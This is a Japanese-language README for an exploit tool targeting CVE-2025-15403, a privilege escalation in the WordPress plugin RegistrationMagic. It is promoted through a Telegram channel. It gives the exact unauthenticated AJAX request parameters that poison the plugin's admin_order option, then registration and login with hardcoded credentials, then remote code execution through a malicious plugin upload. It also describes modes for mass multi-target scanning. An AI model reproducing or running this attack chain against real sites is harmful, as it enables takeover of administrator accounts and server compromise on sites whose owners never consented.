
RegistrationMagic <= 6.0.7.1 - admin_order 経由の未認証権限昇格
RegistrationMagic <= 6.0.7.1 - admin_order を介した認証不要の権限昇格
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 インテルは最初にここで公開される。 Telegram で @KNxploited をフォロー — 正確な CVE 公開、動作するエクスプロイト、詳細な脆弱性研究。 ニュースを待たない人のためのチャンネル — 彼らがニュースを創る。
CVE-2025-15403 は、WordPress 用プラグイン RegistrationMagic における CVSS 9.8 Critical の権限昇格(Privilege Escalation)脆弱性です。
この欠陥はプラグインの add_menu 関数に存在し、rm_user_exists AJAX アクションを介して認証なしで露出しています。攻撃者は order パラメータに空のスラッグを注入し、enable_admin_order=yes フラグと併用することで、プラグインの内部メニュー生成ロジックを操作します。その後、管理者メニューが構築される際、プラグインは対象ロールに対して add_cap('manage_options') を静かに呼び出し、サブスクライバー層のアカウントを完全な管理者権限へと昇格させます。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-15403 |
| プラグイン | RegistrationMagic |
| スラッグ | registrationmagic / custom-registration-form-builder-with-submission-manager |
| 影響を受けるバージョン | 6.0.7.1 までの全バージョン |
| 脆弱性の種類 | 認証不要の権限昇格 |
| 攻撃要件 | AJAX 段階: 不要。悪用段階: サブスクライバーアカウント |
| 攻撃ベクトル | ネットワーク |
| CVSS 3.1 スコア | 9.8 CRITICAL |
| CVSS ベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 影響 | WordPress 管理者アカウントの完全な乗っ取り |
| 研究者 | Nxploited |
根本原因は、add_menu 関数が rm_user_exists を通じて認証なしで呼び出し可能であり、加えて admin_order スラッグの検証が一切存在しないことです:
// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← User-controlled, NOT sanitized
$role_key = /* derived from POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Stores attacker-controlled order into plugin options
update_option('rm_admin_order', $order); // e.g. ",menu1" → empty first slug
}
}
// Later, when admin menu is being built...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Poisoned by attacker
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Empty slug triggers unconditional capability grant
$role->add_cap('manage_options'); // ← FULL ADMIN CAPABILITY ADDED
}
}
}
なぜこれが重大なのか:
wp_ajax_nopriv_* = オプションを汚染するために認証が一切不要order=,menu1 内の空スラッグは empty() チェックを通過し、add_cap('manage_options') をトリガーするmanage_options は WordPress の最高権限 — 管理者(Administrator)と同等╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 1 — Unauthenticated Option Poisoning ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← empty first element = empty slug
_Subscriber = 1 ← target role key
restore = false
enable_admin_order= yes
Response: HTTP 200 (any non-blocked response = option poisoned)
↓ Plugin stores order=",menu1" into wp_options
↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 2 — Account Acquisition (Subscriber) ║
╚══════════════════════════════════════════════════════════════════════════╝
Option A — Register via the site's registration form (Mode 0):
GET /wp-login.php?action=register → smart form detection
POST → create subscriber account
Credentials: NXploited / xplpass123
Option B — Use an existing subscriber account.
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 3 — Login + Capability Harvest ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
Subscriber account now carries manage_options → full admin panel accessible
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 4 — Deep Verification & RCE via Plugin Upload ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Admin dashboard accessible ✔️
GET /wp-admin/plugin-install.php → Plugin install page accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin uploaded & executed ✔️
GET /wp-content/plugins/Nxploited/hello.php
Response contains "Nxploited" → CONFIRMED RCE ✔️
このエクスプロイトスイートは、攻撃ライフサイクル全体をカバーする3つの異なるモードを提供します:
| モード | 名前 | 説明 |
|---|---|---|
0 | 登録のみ | スマートな WordPress フォーム検出 + サブスクライバーアカウント登録 |
1 | エクスプロイトのみ | admin_order を汚染する認証不要の AJAX プリミティブを実行 |
2 | エクスプロイト + ログイン + 検証 | 完全チェーン: プリミティブ → ログイン → 管理ダッシュボード → プラグインインストール → RCE |
pip install requests colorama urllib3
| 依存関係 | 用途 |
|---|---|
requests | HTTP セッション、Cookie 処理、リダイレクト追跡 |
colorama | クロスプラットフォーム対応のカラー端末出力 |
urllib3 | 自己署名証明書に対する SSL 警告の抑制 |
concurrent.futures | 高スループットなマルチターゲットスキャンのためのスレッドプール |
zipfile | RCE 検証用のテストプラグイン ZIP をメモリ内で生成 |
html.parser | スマートな登録フォームの検出とフィールド抽出 |
Python 3.8+ が必要です。Python 3.10+ を推奨します(
X | Yユニオン型ヒントを使用)。